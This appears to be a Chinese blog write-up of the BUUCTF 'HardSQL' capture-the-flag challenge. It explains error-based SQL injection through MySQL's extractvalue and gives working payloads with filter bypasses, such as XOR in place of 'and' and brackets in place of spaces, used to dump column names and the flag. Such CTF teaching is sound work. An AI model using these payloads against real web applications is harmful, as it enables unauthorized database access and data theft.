BUUCTF [极客大挑战 2019]HardSQL extractvalue函数的利用

 

 

打开靶机,注入题,先构造简单注入语句 1‘ or 1=1#

 

 

通过尝试多几次,用括号包含()代替空格,and被过滤了,那就用异或符^链接

admin'/**/ununionion/**/seselectlect/**/1,group_concat(flag),3/**/from/**/flag%25

进行注入,也被过滤了,看了大佬的WP

用extractvalue(1,concat(0x7e,(select(database()))))%23

来注入

extractvalue()** :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第一个参数 : 第一个参数可以传入目标xml文档

第二个参数: xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容

回显了一个geek的库,然后就是常规注入了

 

 

 

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

抠门,传了半拉flag,用right和left语句

 

得到flag

posted @ 2021-07-26 23:13  Dixk-BXy  阅读(98)  评论(0编辑  收藏  举报
Live2D